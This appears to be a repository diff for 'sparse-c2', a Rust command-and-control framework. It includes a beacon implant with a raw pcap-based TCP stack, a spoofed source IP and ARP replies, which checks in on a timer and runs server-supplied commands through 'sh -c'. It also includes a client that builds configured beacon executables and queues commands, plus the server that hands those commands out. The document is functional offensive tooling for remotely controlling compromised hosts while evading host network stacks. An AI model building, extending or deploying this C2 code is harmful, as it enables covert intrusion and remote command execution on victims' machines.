_ = prod.push_iter(&mut data.into_iter());
Ok(vec![])
}
}
fn close_connection(socket: &mut TcpSocket) -> anyhow::Result<TCPPacket> {
socket.state = TcpState::FinWait1;
let peer = socket
.peer_info
.as_ref()
.context("no connection to close")?;
Ok(TCPPacketBuilder::default()
.srcport(peer.local_port)
.dstport(peer.remote_port)
.fin(true)
.ack(true)
.window(512)
.acknumber(
socket
.local_rx_last_ack
.context("information from synchronizing missing")?,
)
.seqnumber(socket.local_seq_no)
.build(peer.local_addr, peer.remote_addr, vec![], None))
}
struct TcpSocketHandle {
state_changed: mpsc::Receiver<TcpState>,
send_channel: mpsc::Sender<Vec<u8>>,
close: mpsc::Sender<()>,
start_connect: mpsc::Sender<(Ipv4Addr, u16)>,
receiver_channel: mpsc::Receiver<Vec<u8>>,
}
async fn use_socket(conf: BeaconOptions, mut socket_handle: TcpSocketHandle) {
log::info!("Help!");
loop {
log::info!("Starting another loop iteration");
sleep(Duration::from_secs(conf.sleep_secs.into())).await;
log::info!("Done sleeping, verifying connection");
let _ = socket_handle
.start_connect
.send((conf.target_ip, conf.target_port))
.await;
loop {
let state = socket_handle.state_changed.recv().await;
dbg!(&state);
match state {
Some(TcpState::Established) => break,
_ => {}
}
}
log::info!("Connected to server!");
match socket_handle.receiver_channel.recv().await {
Some(bytes) => {
log::info!("received a command!");
match serde_json::from_slice::<BeaconCommand>(&bytes) {
Ok(BeaconCommand::Command(cmd)) => {
log::info!("running command: {}", cmd.command);
let _ = Command::new("sh")
.arg("-c")
.arg(cmd.command)
.stdout(Stdio::inherit())
.output()
.await;
}
Ok(BeaconCommand::Noop) => {}
Err(e) => {
log::error!("could not parse command from server {e:?}");
}
}
}
None => {
log::error!("could not get packets from server")
}
}
log::info!("Done getting data");
loop {
let state = socket_handle.state_changed.recv().await;
log::debug!("got state: {state:?}");
match state {
Some(TcpState::Closed) => break,
_ => {}
}
}
log::info!("Finished connection!");
}
}
#[tokio::main]
async fn main() -> anyhow::Result<()> {
simple_logger::SimpleLogger::new()
.with_level(log::LevelFilter::Trace)
.with_module_level("tcp_test", log::LevelFilter::Info)
.init()?;
let conf_raw = catconf::read_from_exe(sparse_c2_messages::CONF_SEPARATOR, 4096)?;
let conf: sparse_c2_messages::BeaconOptions = serde_json::from_slice(&conf_raw)?;
let ip = conf.target_ip;
let (ifname, _, srcip, src_mac, dst_mac, _) = {
let socket = netlink::Socket::new()?;
let routes = socket.get_routes()?;
let neighs = socket.get_neigh()?;
let links = socket.get_links()?;
let addrs = socket.get_addrs()?;
route::get_macs_and_src_for_ip(&addrs, &routes, &neighs, &links, ip)
.ok_or(anyhow!("unable to find a route to the IP"))?
};
let mut socket = TcpSocket::default();
let mut interface = pcap_sys::Interface::<pcap_sys::DevDisabled>::new(&ifname)?;
let srcip = conf.source_ip;
dbg!(srcip, src_mac, dst_mac);
// let dst_mac = [0x00, 0x16, 0x3e, 0xde, 0xa9, 0x93];
interface.set_buffer_size(8192)?;
interface.set_non_blocking(true)?;
interface.set_promisc(false)?;
interface.set_timeout(10)?;
let interface = interface.activate()?;
macro_rules! format_packet {
($tcp_packet:expr) => {{
let ippkt = IPv4Packet::construct(srcip, ip, &Layer4Packet::TCP($tcp_packet));
EthernetPacket::construct(src_mac, dst_mac, &Layer3Packet::IPv4(ippkt))
}};
}
let (send_state_changed, mut receive_state_changed) = mpsc::channel(64);
let (port, packet) = connect(
&mut socket,
ip,
conf.target_port,
srcip,
&send_state_changed,
)
.await;
_ = receive_state_changed.recv().await;
interface.set_filter(&format!("arp or (inbound and tcp port {port})"), true, None)?;
if interface.datalink() != pcap_sys::consts::DLT_EN10MB {
bail!("interface does not support ethernet");
}
let mut packets = interface.stream()?;
packets.sendpacket(format_packet!(packet).pkt())?;
let (send_channel, mut send_packet) = mpsc::channel(1024);
let (receive_packet, receiver_channel) = mpsc::channel(1024);
let (send_state_changed, state_changed) = mpsc::channel(1024);
let (close, mut recv_close) = mpsc::channel(16);
let (start_connect, mut handle_connect) = mpsc::channel(16);
let socket_handle = TcpSocketHandle {
state_changed,
receiver_channel,
send_channel,
close,
start_connect,
};
task::spawn(async move {
use_socket(conf, socket_handle).await;
});
let mut packet_queue = VecDeque::new();
loop {
let deadline = Instant::now()
+ socket
.retransmit_timeout
.unwrap_or_else(|| Duration::from_millis(10));
tokio::select! {
_ = sleep_until(deadline.into()) => {
let Ok(Some((b, d))) = process_timeout(&mut socket) else { continue; };
let pkt = format_packet!(b.build(srcip, ip, d, None));
packet_queue.push_back(pkt);
},
Some(Ok(bytes)) = packets.next() => {
let pkt = bytes.pkt();
match pkt.get_layer3_pkt() {
Ok(Layer3Pkt::IPv4Pkt(ip_pkt)) => {
let Ok(Layer4Pkt::TCP(tcp_pkt)) = ip_pkt.get_layer4_packet() else { continue; };
if !socket_accepts_packet(&socket, &ip_pkt, &tcp_pkt) {
continue;
}
let Ok((to_send, received)) = process_packet(&mut socket, tcp_pkt, &send_state_changed).await else { continue; };
if let Some(received) = received {
_ = receive_packet.send(received).await;
}
for (b, d) in to_send {
log::trace!("adding packet to send: {b:?}");
let pkt = format_packet!(b.build(srcip, ip, d, None));
packet_queue.push_back(pkt);
}
},
Ok(Layer3Pkt::ARP(arp)) => {
if arp.opcode() != 1 || arp.plen() != 4 || arp.hwlen() != 6 {
continue;
}
let senderip: [u8; 4] = arp.srcprotoaddr().try_into().unwrap();
let sendermac: &[u8] = arp.srchwaddr();
let queryip: [u8; 4] = arp.targetprotoaddr().try_into().unwrap();
let queryip: Ipv4Addr = queryip.into();
if queryip != srcip {
continue;
}
let response = ARPPacket::construct(ARPMode::Reply, ARPProto::IPv4, &src_mac, &sendermac, &queryip.octets(), &senderip);
let resp2 = EthernetPacket::construct(src_mac, sendermac.try_into().unwrap(), &Layer3Packet::ARP(response));
log::trace!("adding packet to send: ARP");
packet_queue.push_back(resp2);
},
_ => continue
};
},
Some((remote_addr, remote_port)) = handle_connect.recv() => {
match socket.state {
TcpState::Established | TcpState::SynSent => {
send_state_changed.send(socket.state).await;
}
_ => {
let (port, packet) = connect(
&mut socket,
ip,
remote_port,
srcip,
&send_state_changed,
)
.await;
packets.set_filter(&format!("arp or (inbound and tcp port {port})"), true, None)?;
packets.sendpacket(format_packet!(packet).pkt())?;
}
}
},
Some(()) = recv_close.recv() => {
log::trace!("adding packet to send: TCP/IP close");
let Ok(to_send) = close_connection(&mut socket) else { continue; };
packet_queue.push_back(format_packet!(to_send));
},
Some(to_send) = send_packet.recv() => {
log::trace!("adding packet to send: TCP/IP message send");
match send_data(&mut socket, to_send) {
Ok(pkts) => {
for (b, d) in pkts {
let pkt = format_packet!(b.build(srcip, ip, d, None));
packet_queue.push_back(pkt);
}
}
_ => continue
}
},
else => { continue; }
}
if let Some(packet) = packet_queue.pop_front() {
log::trace!("sending packet now ({packet:?})");
_ = packets.sendpacket(packet.pkt());
}
}
}

View File

@ -0,0 +1,13 @@
[package]
name = "sparse-c2-client"
version = "0.1.0"
edition = "2021"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
[dependencies]
anyhow = "1.0.75"
serde_json = "1.0.108"
sparse-c2-messages = { path = "../sparse-c2-messages" }
structopt = "0.3.26"
tokio = { version = "1.34.0", features = ["full"] }

View File

@ -0,0 +1,190 @@
use std::{
self,
io::{self, Write},
net::{Ipv4Addr, SocketAddr},
};
use structopt::StructOpt;
use tokio::{
io::{AsyncReadExt, AsyncWriteExt},
net::TcpStream,
};
use sparse_c2_messages::{BeaconId, BeaconOptions, ClientCommand, ClientResponse, CONF_SEPARATOR};
#[cfg(debug_assertions)]
const BEACON: &'static [u8] = include_bytes!("../../../target/debug/sparse-c2-beacon");
#[cfg(not(debug_assertions))]
const BEACON: &'static [u8] = include_bytes!("../../../target/release/sparse-c2-beacon");
#[derive(StructOpt)]
enum Command {
Generate {
#[structopt(short = "i", long)]
target_ip: Ipv4Addr,
#[structopt(short = "p", long)]
target_port: u16,
#[structopt(short = "o", long)]
source_ip: Ipv4Addr,
#[structopt(short = "s", long)]
sleep_secs: u32,
#[structopt(short = "n", long)]
name: String,
},
}
#[derive(StructOpt)]
struct Options {
#[structopt(long, short)]
address: SocketAddr,
#[structopt(subcommand)]
command: Option<Command>,
}
async fn list_state(client: &mut TcpStream) -> anyhow::Result<()> {
let cmd = serde_json::to_vec(&ClientCommand::GetState)?;
client.write(&cmd).await?;
let mut buf = [0u8; 8192];
let len = client.read_u32().await? as usize;
client.read(&mut buf[..len]).await?;
let ClientResponse::StateUpdate(beacons, commands) = serde_json::from_slice(&buf[..len])?;
println!("Commands issued:");
for command in commands {
match command.beacon_id {
Some(beacon) => println!(
"\t[id {}] (targets: {}): {}",
command.command_id.0, beacon.0, command.command
),
None => println!(
"\t[id {}] (targets: all): {}",
command.command_id.0, command.command
),
}
}
println!("\nBeacons:");
for beacon in beacons {
print!("\t[id {}] (listening on: {}) ", beacon.id.0, beacon.port);
match beacon.last_connection {
Some(ci) => print!("last checked in {ci}; "),
None => print!("has not checked in; "),
};
if beacon.done_commands.is_empty() {
println!("no commands executed");
} else {
println!("{} commands executed", beacon.done_commands.len());
for cmd in beacon.done_commands {
println!("\t\t[id {}] executed at {}", cmd.0 .0, cmd.1);
}
}
}
Ok(())
}
#[tokio::main]
async fn main() -> anyhow::Result<()> {
let options = Options::from_args();
let mut client = TcpStream::connect(options.address).await?;
match &options.command {
Some(Command::Generate {
target_ip,
target_port,
source_ip,
sleep_secs,
name,
}) => {
let mut file = tokio::fs::OpenOptions::default()
.write(true)
.create(true)
.mode(0o755)
.open(name)
.await?;
file.write_all(BEACON).await?;
file.write_all(CONF_SEPARATOR).await?;
let conf = serde_json::to_vec(&BeaconOptions {
sleep_secs: *sleep_secs,
target_ip: *target_ip,
source_ip: *source_ip,
target_port: *target_port,
})?;
file.write_all(&conf).await?;
let listen =
serde_json::to_vec(&ClientCommand::ListenFor(name.to_string(), *target_port))?;
client.write_all(&listen).await?;
}
None => {
let stdin = io::stdin();
let mut stdout = io::stdout();
let mut selected_beacon: Option<BeaconId> = None;
loop {
let mut buffer = String::new();
match selected_beacon {
Some(ref bid) => print!("{} >", bid.0),
None => print!("> "),
};
stdout.flush()?;
stdin.read_line(&mut buffer)?;
let mut items = buffer.trim().split(' ');
let cmd = items.next();
match cmd {
None | Some("") => {
eprintln!("Please enter a command!")
}
Some("list") => {
list_state(&mut client).await?;
}
Some("select") => {
let beacon = items.next();
match beacon {
Some(bid) => {
selected_beacon = Some(BeaconId(bid.to_owned()));
}
None => {
eprintln!("No beacon ID selected")
}
}
}
Some("cmd") => {
let parts = items.collect::<Vec<_>>();
let cmd = parts.join(" ");
let cmd = serde_json::to_vec(&ClientCommand::SendCommand(
selected_beacon.clone(),
cmd,
))?;
client.write(&cmd).await?;
let _ = client.read_u32().await?;
}
Some(other) => {
eprintln!("Unknown command: {other}");
}
}
}
}
}
Ok(())
}

View File

@ -0,0 +1,10 @@
[package]
name = "sparse-c2-messages"
version = "0.1.0"
edition = "2021"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
[dependencies]
chrono = { version = "0.4.31", features = ["serde"] }
serde = { version = "1.0.193", features = ["derive"] }

View File

@ -0,0 +1,55 @@
use std::net::Ipv4Addr;
use chrono::prelude::*;
use serde::{Deserialize, Serialize};
pub const CONF_SEPARATOR: &'static [u8] = b"3ce6b7d3741941cbb88756c52ea8afdff45989fc440d47f295f77e068d3e19d4693c007b767b476cac7080c5cfb0bb63";
pub const CLIENT_PORT: u16 = 2034;
#[derive(Deserialize, Serialize, PartialEq, Eq, Clone)]
pub struct BeaconId(pub String);
#[derive(Deserialize, Serialize, PartialEq, Eq, Clone, Copy)]
pub struct CommandId(pub u32);
#[derive(Deserialize, Serialize)]
pub struct BeaconOptions {
pub target_ip: Ipv4Addr,
pub target_port: u16,
pub source_ip: Ipv4Addr,
pub sleep_secs: u32,
}
#[derive(Deserialize, Serialize, Clone)]
pub struct Command {
pub beacon_id: Option<BeaconId>,
pub command_id: CommandId,
pub command: String,
}
#[derive(Deserialize, Serialize, Clone)]
pub struct BeaconInfo {
pub id: BeaconId,
pub port: u16,
pub last_connection: Option<DateTime<Utc>>,
pub done_commands: Vec<(CommandId, DateTime<Utc>)>,
}
#[derive(Deserialize, Serialize)]
pub enum BeaconCommand {
Command(Command),
Noop,
}
#[derive(Deserialize, Serialize)]
pub enum ClientCommand {
GetState,
ListenFor(String, u16),
Stop(String),
SendCommand(Option<BeaconId>, String),
}
#[derive(Deserialize, Serialize)]
pub enum ClientResponse {
StateUpdate(Vec<BeaconInfo>, Vec<Command>),
}

View File

@ -0,0 +1,16 @@
[package]
name = "sparse-c2-server"
version = "0.1.0"
edition = "2021"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
[dependencies]
anyhow = "1.0.75"
chrono = "0.4.31"
log = "0.4.20"
nix = "0.27.1"
serde_json = "1.0.108"
simple_logger = "4.3.0"
sparse-c2-messages = { path = "../sparse-c2-messages" }
tokio = { version = "1.34.0", features = ["full"] }

View File

@ -0,0 +1,205 @@
use std::{
net::Ipv4Addr,
os::fd::AsRawFd,
sync::{
atomic::{AtomicU32, Ordering},
Arc, Mutex,
},
};
use nix::libc::{ioctl, TIOCOUTQ};
use tokio::{
io::{AsyncReadExt, AsyncWriteExt},
net::{TcpListener, TcpStream},
task::yield_now,
};
use sparse_c2_messages::{
BeaconCommand, BeaconId, BeaconInfo, ClientCommand, ClientResponse, Command, CommandId,
CLIENT_PORT,
};
async fn beacon_accept_task(
beacon: Arc<Mutex<BeaconInfo>>,
commands: Arc<Mutex<Vec<Command>>>,
) -> anyhow::Result<()> {
let port = {
let beacon = beacon.lock().unwrap();
beacon.port
};
let socket = TcpListener::bind(format!("0.0.0.0:{port}")).await?;
loop {
let (mut client, _) = socket.accept().await?;
let commands_to_send: Vec<_> = {
let beacon = beacon.lock().unwrap();
let commands = commands.lock().unwrap();
commands
.iter()
.filter(|comm| {
(comm.beacon_id.is_none() || comm.beacon_id.as_ref() == Some(&beacon.id))
&& !beacon
.done_commands
.iter()
.any(|done_comm| done_comm.0 == comm.command_id)
})
.map(Clone::clone)
.collect()
};
{
let mut beacon = beacon.lock().unwrap();
log::info!("Beacon {} checking in", beacon.id.0);
beacon.last_connection = Some(chrono::Utc::now());
}
let Some(ref command_to_send) = commands_to_send.get(0) else {
let Ok(buffer) = serde_json::to_vec(&BeaconCommand::Noop) else {
continue;
};
let _ = client.write_all(&buffer).await;
let mut res = 0i16;
unsafe {
ioctl(client.as_raw_fd(), TIOCOUTQ, &mut res);
}
while res != 0 {
yield_now().await;
unsafe {
ioctl(client.as_raw_fd(), TIOCOUTQ, &mut res);
}
}
continue;
};
let Ok(buffer) = serde_json::to_vec(&BeaconCommand::Command((*command_to_send).clone()))
else {
continue;
};
let _ = client.write_all(&buffer).await;
let mut res = 0i16;
unsafe {
ioctl(client.as_raw_fd(), TIOCOUTQ, &mut res);
}
while res != 0 {
yield_now().await;
unsafe {
ioctl(client.as_raw_fd(), TIOCOUTQ, &mut res);
}
}
{
let mut beacon = beacon.lock().unwrap();
beacon
.done_commands
.push((command_to_send.command_id, chrono::Utc::now()));
}
}
}
async fn handle_client(
command_id: Arc<AtomicU32>,
mut client: TcpStream,
beacons: Arc<Mutex<Vec<Arc<Mutex<BeaconInfo>>>>>,
commands: Arc<Mutex<Vec<Command>>>,
) -> anyhow::Result<()> {
loop {
let mut buffer = [0u8; 1024];
let len = client.read(&mut buffer[..]).await?;
let Ok(cmd) = serde_json::from_slice::<ClientCommand>(&buffer[..len]) else {
continue;
};
match cmd {
ClientCommand::GetState => {
let beacons = {
let beacons = beacons.lock().unwrap();
beacons
.iter()
.map(|beacon| beacon.lock().unwrap().clone())
.collect()
};
let commands = {
let commands = commands.lock().unwrap();
commands.clone()
};
let res = serde_json::to_vec(&ClientResponse::StateUpdate(beacons, commands))?;
client.write_u32(res.len() as u32).await?;
client.write(&res).await?;
}
ClientCommand::ListenFor(id, port) => {
let beacon = Arc::new(Mutex::new(BeaconInfo {
id: BeaconId(id),
port,
last_connection: None,
done_commands: vec![],
}));
{
let mut beacons = beacons.lock().unwrap();
beacons.push(Arc::clone(&beacon));
}
let commands = Arc::clone(&commands);
tokio::spawn(async move {
if let Err(e) = beacon_accept_task(beacon, commands).await {
log::error!("could not handle beacon listener: {e:?}");
}
});
client.write_u32(0).await?;
}
ClientCommand::SendCommand(id, command) => {
{
let mut commands = commands.lock().unwrap();
let command_id = CommandId(command_id.fetch_add(1, Ordering::SeqCst));
commands.push(Command {
beacon_id: id,
command_id,
command,
});
}
client.write_u32(0).await?;
}
ClientCommand::Stop(_) => {
client.write_u32(0).await?;
}
}
}
}
#[tokio::main(flavor = "current_thread")]
async fn main() -> anyhow::Result<()> {
simple_logger::SimpleLogger::new()
.with_level(log::LevelFilter::Trace)
.with_module_level("tcp_test", log::LevelFilter::Trace)
.init()?;
let commands = Arc::new(Mutex::new(vec![]));
let beacons = Arc::new(Mutex::new(vec![]));
let socket = TcpListener::bind(format!("0.0.0.0:{CLIENT_PORT}")).await?;
let command_id = Arc::new(AtomicU32::from(0));
loop {
let (client, _) = socket.accept().await?;
let beacons = Arc::clone(&beacons);
let commands = Arc::clone(&commands);
let command_id = Arc::clone(&command_id);
tokio::spawn(async {
if let Err(e) = handle_client(command_id, client, beacons, commands).await {
log::error!("error handling client {e:?}");
}
});
}
}

View File

@ -390,7 +390,7 @@ async fn main() -> anyhow::Result<()> {
let srcip: Ipv4Addr = srcip.into(); let srcip: Ipv4Addr = srcip.into();
dbg!(srcip, src_mac, dst_mac); dbg!(srcip, src_mac, dst_mac);
let dst_mac = [0x00, 0x16, 0x3e, 0xde, 0xa9, 0x93]; // let dst_mac = [0x00, 0x16, 0x3e, 0xde, 0xa9, 0x93];
interface.set_buffer_size(8192)?; interface.set_buffer_size(8192)?;
interface.set_non_blocking(true)?; interface.set_non_blocking(true)?;